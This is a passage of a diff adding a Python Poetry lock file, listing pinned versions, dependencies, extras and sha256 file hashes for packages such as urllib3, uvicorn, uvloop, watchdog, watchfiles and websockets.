nice, but it doesn't support unicode. This module is a drop-in replacement which *does*." +optional = false +python-versions = "*" +files = [ + {file = "unicodecsv-0.14.1.tar.gz", hash = "sha256:018c08037d48649a0412063ff4eda26eaa81eff1546dbffa51fa5293276ff7fc"}, +] + +[[package]] +name = "urllib3" +version = "1.26.16" +description = "HTTP library with thread-safe connection pooling, file post, and more." +optional = false +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.5.*" +files = [ + {file = "urllib3-1.26.16-py2.py3-none-any.whl", hash = "sha256:8d36afa7616d8ab714608411b4a3b13e58f463aee519024578e062e141dce20f"}, + {file = "urllib3-1.26.16.tar.gz", hash = "sha256:8f135f6502756bde6b2a9b28989df5fbe87c9970cecaa69041edcce7f0589b14"}, +] + +[package.extras] +brotli = ["brotli (>=1.0.9)", "brotlicffi (>=0.8.0)", "brotlipy (>=0.6.0)"] +secure = ["certifi", "cryptography (>=1.3.4)", "idna (>=2.0.0)", "ipaddress", "pyOpenSSL (>=0.14)", "urllib3-secure-extra"] +socks = ["PySocks (>=1.5.6,!=1.5.7,<2.0)"] + +[[package]] +name = "uvicorn" +version = "0.18.3" +description = "The lightning-fast ASGI server." +optional = false +python-versions = ">=3.7" +files = [ + {file = "uvicorn-0.18.3-py3-none-any.whl", hash = "sha256:0abd429ebb41e604ed8d2be6c60530de3408f250e8d2d84967d85ba9e86fe3af"}, + {file = "uvicorn-0.18.3.tar.gz", hash = "sha256:9a66e7c42a2a95222f76ec24a4b754c158261c4696e683b9dadc72b590e0311b"}, +] + +[package.dependencies] +click = ">=7.0" +colorama = {version = ">=0.4", optional = true, markers = "sys_platform == \"win32\" and extra == \"standard\""} +h11 = ">=0.8" +httptools = {version = ">=0.4.0", optional = true, markers = "extra == \"standard\""} +python-dotenv = {version = ">=0.13", optional = true, markers = "extra == \"standard\""} +pyyaml = {version = ">=5.1", optional = true, markers = "extra == \"standard\""} +uvloop = {version = ">=0.14.0,<0.15.0 || >0.15.0,<0.15.1 || >0.15.1", optional = true, markers = "(sys_platform != \"win32\" and sys_platform != \"cygwin\") and platform_python_implementation != \"PyPy\" and extra == \"standard\""} +watchfiles = {version = ">=0.13", optional = true, markers = "extra == \"standard\""} +websockets = {version = ">=10.0", optional = true, markers = "extra == \"standard\""} + +[package.extras] +standard = ["colorama (>=0.4)", "httptools (>=0.4.0)", "python-dotenv (>=0.13)", "pyyaml (>=5.1)", "uvloop (>=0.14.0,!=0.15.0,!=0.15.1)", "watchfiles (>=0.13)", "websockets (>=10.0)"] + +[[package]] +name = "uvloop" +version = "0.17.0" +description = "Fast implementation of asyncio event loop on top of libuv" +optional = false +python-versions = ">=3.7" +files = [ + {file = "uvloop-0.17.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:ce9f61938d7155f79d3cb2ffa663147d4a76d16e08f65e2c66b77bd41b356718"}, + {file = "uvloop-0.17.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:68532f4349fd3900b839f588972b3392ee56042e440dd5873dfbbcd2cc67617c"}, + {file = "uvloop-0.17.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0949caf774b9fcefc7c5756bacbbbd3fc4c05a6b7eebc7c7ad6f825b23998d6d"}, + {file = "uvloop-0.17.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ff3d00b70ce95adce264462c930fbaecb29718ba6563db354608f37e49e09024"}, + {file = "uvloop-0.17.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:a5abddb3558d3f0a78949c750644a67be31e47936042d4f6c888dd6f3c95f4aa"}, + {file = "uvloop-0.17.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:8efcadc5a0003d3a6e887ccc1fb44dec25594f117a94e3127954c05cf144d811"}, + {file = "uvloop-0.17.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:3378eb62c63bf336ae2070599e49089005771cc651c8769aaad72d1bd9385a7c"}, + {file = "uvloop-0.17.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:6aafa5a78b9e62493539456f8b646f85abc7093dd997f4976bb105537cf2635e"}, + {file = "uvloop-0.17.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c686a47d57ca910a2572fddfe9912819880b8765e2f01dc0dd12a9bf8573e539"}, + {file = "uvloop-0.17.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:864e1197139d651a76c81757db5eb199db8866e13acb0dfe96e6fc5d1cf45fc4"}, + {file = "uvloop-0.17.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:2a6149e1defac0faf505406259561bc14b034cdf1d4711a3ddcdfbaa8d825a05"}, + {file = "uvloop-0.17.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:6708f30db9117f115eadc4f125c2a10c1a50d711461699a0cbfaa45b9a78e376"}, + {file = "uvloop-0.17.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:23609ca361a7fc587031429fa25ad2ed7242941adec948f9d10c045bfecab06b"}, + {file = "uvloop-0.17.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2deae0b0fb00a6af41fe60a675cec079615b01d68beb4cc7b722424406b126a8"}, + {file = "uvloop-0.17.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:45cea33b208971e87a31c17622e4b440cac231766ec11e5d22c76fab3bf9df62"}, + {file = "uvloop-0.17.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:9b09e0f0ac29eee0451d71798878eae5a4e6a91aa275e114037b27f7db72702d"}, + {file = "uvloop-0.17.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:dbbaf9da2ee98ee2531e0c780455f2841e4675ff580ecf93fe5c48fe733b5667"}, + {file = "uvloop-0.17.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:a4aee22ece20958888eedbad20e4dbb03c37533e010fb824161b4f05e641f738"}, + {file = "uvloop-0.17.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:307958f9fc5c8bb01fad752d1345168c0abc5d62c1b72a4a8c6c06f042b45b20"}, + {file = "uvloop-0.17.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3ebeeec6a6641d0adb2ea71dcfb76017602ee2bfd8213e3fcc18d8f699c5104f"}, + {file = "uvloop-0.17.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1436c8673c1563422213ac6907789ecb2b070f5939b9cbff9ef7113f2b531595"}, + {file = "uvloop-0.17.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:8887d675a64cfc59f4ecd34382e5b4f0ef4ae1da37ed665adba0c2badf0d6578"}, + {file = "uvloop-0.17.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:3db8de10ed684995a7f34a001f15b374c230f7655ae840964d51496e2f8a8474"}, + {file = "uvloop-0.17.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:7d37dccc7ae63e61f7b96ee2e19c40f153ba6ce730d8ba4d3b4e9738c1dccc1b"}, + {file = "uvloop-0.17.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:cbbe908fda687e39afd6ea2a2f14c2c3e43f2ca88e3a11964b297822358d0e6c"}, + {file = "uvloop-0.17.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3d97672dc709fa4447ab83276f344a165075fd9f366a97b712bdd3fee05efae8"}, + {file = "uvloop-0.17.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f1e507c9ee39c61bfddd79714e4f85900656db1aec4d40c6de55648e85c2799c"}, + {file = "uvloop-0.17.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:c092a2c1e736086d59ac8e41f9c98f26bbf9b9222a76f21af9dfe949b99b2eb9"}, + {file = "uvloop-0.17.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:30babd84706115626ea78ea5dbc7dd8d0d01a2e9f9b306d24ca4ed5796c66ded"}, + {file = "uvloop-0.17.0.tar.gz", hash = "sha256:0ddf6baf9cf11a1a22c71487f39f15b2cf78eb5bde7e5b45fbb99e8a9d91b9e1"}, +] + +[package.extras] +dev = ["Cython (>=0.29.32,<0.30.0)", "Sphinx (>=4.1.2,<4.2.0)", "aiohttp", "flake8 (>=3.9.2,<3.10.0)", "mypy (>=0.800)", "psutil", "pyOpenSSL (>=22.0.0,<22.1.0)", "pycodestyle (>=2.7.0,<2.8.0)", "pytest (>=3.6.0)", "sphinx-rtd-theme (>=0.5.2,<0.6.0)", "sphinxcontrib-asyncio (>=0.3.0,<0.4.0)"] +docs = ["Sphinx (>=4.1.2,<4.2.0)", "sphinx-rtd-theme (>=0.5.2,<0.6.0)", "sphinxcontrib-asyncio (>=0.3.0,<0.4.0)"] +test = ["Cython (>=0.29.32,<0.30.0)", "aiohttp", "flake8 (>=3.9.2,<3.10.0)", "mypy (>=0.800)", "psutil", "pyOpenSSL (>=22.0.0,<22.1.0)", "pycodestyle (>=2.7.0,<2.8.0)"] + +[[package]] +name = "watchdog" +version = "3.0.0" +description = "Filesystem events monitoring" +optional = false +python-versions = ">=3.7" +files = [ + {file = "watchdog-3.0.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:336adfc6f5cc4e037d52db31194f7581ff744b67382eb6021c868322e32eef41"}, + {file = "watchdog-3.0.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:a70a8dcde91be523c35b2bf96196edc5730edb347e374c7de7cd20c43ed95397"}, + {file = "watchdog-3.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:adfdeab2da79ea2f76f87eb42a3ab1966a5313e5a69a0213a3cc06ef692b0e96"}, + {file = "watchdog-3.0.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:2b57a1e730af3156d13b7fdddfc23dea6487fceca29fc75c5a868beed29177ae"}, + {file = "watchdog-3.0.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:7ade88d0d778b1b222adebcc0927428f883db07017618a5e684fd03b83342bd9"}, + {file = "watchdog-3.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:7e447d172af52ad204d19982739aa2346245cc5ba6f579d16dac4bfec226d2e7"}, + {file = "watchdog-3.0.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:9fac43a7466eb73e64a9940ac9ed6369baa39b3bf221ae23493a9ec4d0022674"}, + {file = "watchdog-3.0.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:8ae9cda41fa114e28faf86cb137d751a17ffd0316d1c34ccf2235e8a84365c7f"}, + {file = "watchdog-3.0.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:25f70b4aa53bd743729c7475d7ec41093a580528b100e9a8c5b5efe8899592fc"}, + {file = "watchdog-3.0.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:4f94069eb16657d2c6faada4624c39464f65c05606af50bb7902e036e3219be3"}, + {file = "watchdog-3.0.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:7c5f84b5194c24dd573fa6472685b2a27cc5a17fe5f7b6fd40345378ca6812e3"}, + {file = "watchdog-3.0.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:3aa7f6a12e831ddfe78cdd4f8996af9cf334fd6346531b16cec61c3b3c0d8da0"}, + {file = "watchdog-3.0.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:233b5817932685d39a7896b1090353fc8efc1ef99c9c054e46c8002561252fb8"}, + {file = "watchdog-3.0.0-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:13bbbb462ee42ec3c5723e1205be8ced776f05b100e4737518c67c8325cf6100"}, + {file = "watchdog-3.0.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:8f3ceecd20d71067c7fd4c9e832d4e22584318983cabc013dbf3f70ea95de346"}, + {file = "watchdog-3.0.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:c9d8c8ec7efb887333cf71e328e39cffbf771d8f8f95d308ea4125bf5f90ba64"}, + {file = "watchdog-3.0.0-py3-none-manylinux2014_aarch64.whl", hash = "sha256:0e06ab8858a76e1219e68c7573dfeba9dd1c0219476c5a44d5333b01d7e1743a"}, + {file = "watchdog-3.0.0-py3-none-manylinux2014_armv7l.whl", hash = "sha256:d00e6be486affb5781468457b21a6cbe848c33ef43f9ea4a73b4882e5f188a44"}, + {file = "watchdog-3.0.0-py3-none-manylinux2014_i686.whl", hash = "sha256:c07253088265c363d1ddf4b3cdb808d59a0468ecd017770ed716991620b8f77a"}, + {file = "watchdog-3.0.0-py3-none-manylinux2014_ppc64.whl", hash = "sha256:5113334cf8cf0ac8cd45e1f8309a603291b614191c9add34d33075727a967709"}, + {file = "watchdog-3.0.0-py3-none-manylinux2014_ppc64le.whl", hash = "sha256:51f90f73b4697bac9c9a78394c3acbbd331ccd3655c11be1a15ae6fe289a8c83"}, + {file = "watchdog-3.0.0-py3-none-manylinux2014_s390x.whl", hash = "sha256:ba07e92756c97e3aca0912b5cbc4e5ad802f4557212788e72a72a47ff376950d"}, + {file = "watchdog-3.0.0-py3-none-manylinux2014_x86_64.whl", hash = "sha256:d429c2430c93b7903914e4db9a966c7f2b068dd2ebdd2fa9b9ce094c7d459f33"}, + {file = "watchdog-3.0.0-py3-none-win32.whl", hash = "sha256:3ed7c71a9dccfe838c2f0b6314ed0d9b22e77d268c67e015450a29036a81f60f"}, + {file = "watchdog-3.0.0-py3-none-win_amd64.whl", hash = "sha256:4c9956d27be0bb08fc5f30d9d0179a855436e655f046d288e2bcc11adfae893c"}, + {file = "watchdog-3.0.0-py3-none-win_ia64.whl", hash = "sha256:5d9f3a10e02d7371cd929b5d8f11e87d4bad890212ed3901f9b4d68767bee759"}, + {file = "watchdog-3.0.0.tar.gz", hash = "sha256:4d98a320595da7a7c5a18fc48cb633c2e73cda78f93cac2ef42d42bf609a33f9"}, +] + +[package.dependencies] +PyYAML = {version = ">=3.10", optional = true, markers = "extra == \"watchmedo\""} + +[package.extras] +watchmedo = ["PyYAML (>=3.10)"] + +[[package]] +name = "watchfiles" +version = "0.19.0" +description = "Simple, modern and high performance file watching and code reload in python." +optional = false +python-versions = ">=3.7" +files = [ + {file = "watchfiles-0.19.0-cp37-abi3-macosx_10_7_x86_64.whl", hash = "sha256:91633e64712df3051ca454ca7d1b976baf842d7a3640b87622b323c55f3345e7"}, + {file = "watchfiles-0.19.0-cp37-abi3-macosx_11_0_arm64.whl", hash = "sha256:b6577b8c6c8701ba8642ea9335a129836347894b666dd1ec2226830e263909d3"}, + {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:18b28f6ad871b82df9542ff958d0c86bb0d8310bb09eb8e87d97318a3b5273af"}, + {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fac19dc9cbc34052394dbe81e149411a62e71999c0a19e1e09ce537867f95ae0"}, + {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:09ea3397aecbc81c19ed7f025e051a7387feefdb789cf768ff994c1228182fda"}, + {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c0376deac92377817e4fb8f347bf559b7d44ff556d9bc6f6208dd3f79f104aaf"}, + {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9c75eff897786ee262c9f17a48886f4e98e6cfd335e011c591c305e5d083c056"}, + {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cb5d45c4143c1dd60f98a16187fd123eda7248f84ef22244818c18d531a249d1"}, + {file = "watchfiles-0.19.0-cp37-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:79c533ff593db861ae23436541f481ec896ee3da4e5db8962429b441bbaae16e"}, + {file = "watchfiles-0.19.0-cp37-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:3d7d267d27aceeeaa3de0dd161a0d64f0a282264d592e335fff7958cc0cbae7c"}, + {file = "watchfiles-0.19.0-cp37-abi3-win32.whl", hash = "sha256:176a9a7641ec2c97b24455135d58012a5be5c6217fc4d5fef0b2b9f75dbf5154"}, + {file = "watchfiles-0.19.0-cp37-abi3-win_amd64.whl", hash = "sha256:945be0baa3e2440151eb3718fd8846751e8b51d8de7b884c90b17d271d34cae8"}, + {file = "watchfiles-0.19.0-cp37-abi3-win_arm64.whl", hash = "sha256:0089c6dc24d436b373c3c57657bf4f9a453b13767150d17284fc6162b2791911"}, + {file = "watchfiles-0.19.0-pp38-pypy38_pp73-macosx_10_7_x86_64.whl", hash = "sha256:cae3dde0b4b2078f31527acff6f486e23abed307ba4d3932466ba7cdd5ecec79"}, + {file = "watchfiles-0.19.0-pp38-pypy38_pp73-macosx_11_0_arm64.whl", hash = "sha256:7f3920b1285a7d3ce898e303d84791b7bf40d57b7695ad549dc04e6a44c9f120"}, + {file = "watchfiles-0.19.0-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9afd0d69429172c796164fd7fe8e821ade9be983f51c659a38da3faaaaac44dc"}, + {file = "watchfiles-0.19.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:68dce92b29575dda0f8d30c11742a8e2b9b8ec768ae414b54f7453f27bdf9545"}, + {file = "watchfiles-0.19.0-pp39-pypy39_pp73-macosx_10_7_x86_64.whl", hash = "sha256:5569fc7f967429d4bc87e355cdfdcee6aabe4b620801e2cf5805ea245c06097c"}, + {file = "watchfiles-0.19.0-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:5471582658ea56fca122c0f0d0116a36807c63fefd6fdc92c71ca9a4491b6b48"}, + {file = "watchfiles-0.19.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b538014a87f94d92f98f34d3e6d2635478e6be6423a9ea53e4dd96210065e193"}, + {file = "watchfiles-0.19.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:20b44221764955b1e703f012c74015306fb7e79a00c15370785f309b1ed9aa8d"}, + {file = "watchfiles-0.19.0.tar.gz", hash = "sha256:d9b073073e048081e502b6c6b0b88714c026a1a4c890569238d04aca5f9ca74b"}, +] + +[package.dependencies] +anyio = ">=3.0.0" + +[[package]] +name = "websockets" +version = "11.0.3" +description = "An implementation of the WebSocket Protocol (RFC 6455 & 7692)" +optional = false +python-versions = ">=3.7" +files = [ + {file = "websockets-11.0.3-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:3ccc8a0c387629aec40f2fc9fdcb4b9d5431954f934da3eaf16cdc94f67dbfac"}, + {file = "websockets-11.0.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d67ac60a307f760c6e65dad586f556dde58e683fab03323221a4e530ead6f74d"}, + {file = "websockets-11.0.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:84d27a4832cc1a0ee07cdcf2b0629a8a72db73f4cf6de6f0904f6661227f256f"}, + {file = "websockets-11.0.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ffd7dcaf744f25f82190856bc26ed81721508fc5cbf2a330751e135ff1283564"}, + {file = "websockets-11.0.3-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7622a89d696fc87af8e8d280d9b421db5133ef5b29d3f7a1ce9f1a7bf7fcfa11"}, + {file = "websockets-11.0.3-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bceab846bac555aff6427d060f2fcfff71042dba6f5fca7dc4f75cac815e57ca"}, + {file = "websockets-11.0.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:54c6e5b3d3a8936a4ab6870d46bdd6ec500ad62bde9e44462c32d18f1e9a8e54"}, + {file = "websockets-11.0.3-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:41f696ba95cd92dc047e46b41b26dd24518384749ed0d99bea0a941ca87404c4"}, + {file = "websockets-11.0.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:86d2a77fd490ae3ff6fae1c6ceaecad063d3cc2320b44377efdde79880e11526"}, + {file = "websockets-11.0.3-cp310-cp310-win32.whl", hash = "sha256:2d903ad4419f5b472de90cd2d40384573b25da71e33519a67797de17ef849b69"}, + {file = "websockets-11.0.3-cp310-cp310-win_amd64.whl", hash = "sha256:1d2256283fa4b7f4c7d7d3e84dc2ece74d341bce57d5b9bf385df109c2a1a82f"}, + {file = "websockets-11.0.3-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:e848f46a58b9fcf3d06061d17be388caf70ea5b8cc3466251963c8345e13f7eb"}, + {file = "websockets-11.0.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:aa5003845cdd21ac0dc6c9bf661c5beddd01116f6eb9eb3c8e272353d45b3288"}, + {file = "websockets-11.0.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:b58cbf0697721120866820b89f93659abc31c1e876bf20d0b3d03cef14faf84d"}, + {file = "websockets-11.0.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:660e2d9068d2bedc0912af508f30bbeb505bbbf9774d98def45f68278cea20d3"}, + {file = "websockets-11.0.3-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c1f0524f203e3bd35149f12157438f406eff2e4fb30f71221c8a5eceb3617b6b"}, + {file = "websockets-11.0.3-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:def07915168ac8f7853812cc593c71185a16216e9e4fa886358a17ed0fd9fcf6"}, + {file = "websockets-11.0.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:b30c6590146e53149f04e85a6e4fcae068df4289e31e4aee1fdf56a0dead8f97"}, + {file = "websockets-11.0.3-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:619d9f06372b3a42bc29d0cd0354c9bb9fb39c2cbc1a9c5025b4538738dbffaf"}, + {file = "websockets-11.0.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:01f5567d9cf6f502d655151645d4e8b72b453413d3819d2b6f1185abc23e82dd"}, + {file = "websockets-11.0.3-cp311-cp311-win32.whl", hash = "sha256:e1459677e5d12be8bbc7584c35b992eea142911a6236a3278b9b5ce3326f282c"}, + {file = "websockets-11.0.3-cp311-cp311-win_amd64.whl", hash = "sha256:e7837cb169eca3b3ae94cc5787c4fed99eef74c0ab9506756eea335e0d6f3ed8"}, + {file = "websockets-11.0.3-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:9f59a3c656fef341a99e3d63189852be7084c0e54b75734cde571182c087b152"}, + {file = "websockets-11.0.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2529338a6ff0eb0b50c7be33dc3d0e456381157a31eefc561771ee431134a97f"}, + {file = "websockets-11.0.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:34fd59a4ac42dff6d4681d8843217137f6bc85ed29722f2f7222bd619d15e95b"}, + {file = "websockets-11.0.3-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:332d126167ddddec94597c2365537baf9ff62dfcc9db4266f263d455f2f031cb"}, + {file = "websockets-11.0.3-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:6505c1b31274723ccaf5f515c1824a4ad2f0d191cec942666b3d0f3aa4cb4007"}, + {file = "websockets-11.0.3-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:f467ba0050b7de85016b43f5a22b46383ef004c4f672148a8abf32bc999a87f0"}, + {file = "websockets-11.0.3-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:9d9acd80072abcc98bd2c86c3c9cd4ac2347b5a5a0cae7ed5c0ee5675f86d9af"}, + {file = "websockets-11.0.3-cp37-cp37m-win32.whl", hash = "sha256:e590228200fcfc7e9109509e4d9125eace2042fd52b595dd22bbc34bb282307f"}, + {file = "websockets-11.0.3-cp37-cp37m-win_amd64.whl", hash = "sha256:b16fff62b45eccb9c7abb18e60e7e446998093cdcb50fed33134b9b6878836de"}, + {file = "websockets-11.0.3-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:fb06eea71a00a7af0ae6aefbb932fb8a7df3cb390cc217d51a9ad7343de1b8d0"}, + {file = "websockets-11.0.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:8a34e13a62a59c871064dfd8ffb150867e54291e46d4a7cf11d02c94a5275bae"}, + {file = "websockets-11.0.3-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:4841ed00f1026dfbced6fca7d963c4e7043aa832648671b5138008dc5a8f6d99"}, + {file = "websockets-11.0.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1a073fc9ab1c8aff37c99f11f1641e16da517770e31a37265d2755282a5d28aa"}, + {file = "websockets-11.0.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:68b977f21ce443d6d378dbd5ca38621755f2063d6fdb3335bda981d552cfff86"}, + {file = "websockets-11.0.3-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e1a99a7a71631f0efe727c10edfba09ea6bee4166a6f9c19aafb6c0b5917d09c"}, + {file = "websockets-11.0.3-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:bee9fcb41db2a23bed96c6b6ead6489702c12334ea20a297aa095ce6d31370d0"}, + {file = "websockets-11.0.3-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:4b253869ea05a5a073ebfdcb5cb3b0266a57c3764cf6fe114e4cd90f4bfa5f5e"}, + {file = "websockets-11.0.3-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:1553cb82942b2a74dd9b15a018dce645d4e68674de2ca31ff13ebc2d9f283788"}, + {file = "websockets-11.0.3-cp38-cp38-win32.whl", hash = "sha256:f61bdb1df43dc9c131791fbc2355535f9024b9a04398d3bd0684fc16ab07df74"}, + {file = "websockets-11.0.3-cp38-cp38-win_amd64.whl", hash = "sha256:03aae4edc0b1c68498f41a6772d80ac7c1e33c06c6ffa2ac1c27a07653e79d6f"}, + {file = "websockets-11.0.3-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:777354ee16f02f643a4c7f2b3eff8027a33c9861edc691a2003531f5da4f6bc8"}, + {file = "websockets-11.0.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:8c82f11964f010053e13daafdc7154ce7385ecc538989a354ccc7067fd7028fd"}, + {file = "websockets-11.0.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:3580dd9c1ad0701169e4d6fc41e878ffe05e6bdcaf3c412f9d559389d0c9e016"}, + {file = "websockets-11.0.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6f1a3f10f836fab6ca6efa97bb952300b20ae56b409414ca85bff2ad241d2a61"}, + {file = "websockets-11.0.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:df41b9bc27c2c25b486bae7cf42fccdc52ff181c8c387bfd026624a491c2671b"}, + {file = "websockets-11.0.3-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:279e5de4671e79a9ac877427f4ac4ce93751b8823f276b681d04b2156713b9dd"}, + {file = "websockets-11.0.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:1fdf26fa8a6a592f8f9235285b8affa72748dc12e964a5518c6c5e8f916716f7"}, + {file = "websockets-11.0.3-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:69269f3a0b472e91125b503d3c0b3566bda26da0a3261c49f0027eb6075086d1"}, + {file = "websockets-11.0.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:97b52894d948d2f6ea480171a27122d77af14ced35f62e5c892ca2fae9344311"}, + {file = "websockets-11.0.3-cp39-cp39-win32.whl", hash = "sha256:c7f3cb904cce8e1be667c7e6fef4516b98d1a6a0635a58a57528d577ac18a128"}, + {file = "websockets-11.0.3-cp39-cp39-win_amd64.whl", hash = "sha256:c792ea4eabc0159535608fc5658a74d1a81020eb35195dd63214dcf07556f67e"}, + {file = "websockets-11.0.3-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:f2e58f2c36cc52d41f2659e4c0cbf7353e28c8c9e63e30d8c6d3494dc9fdedcf"}, + {file = 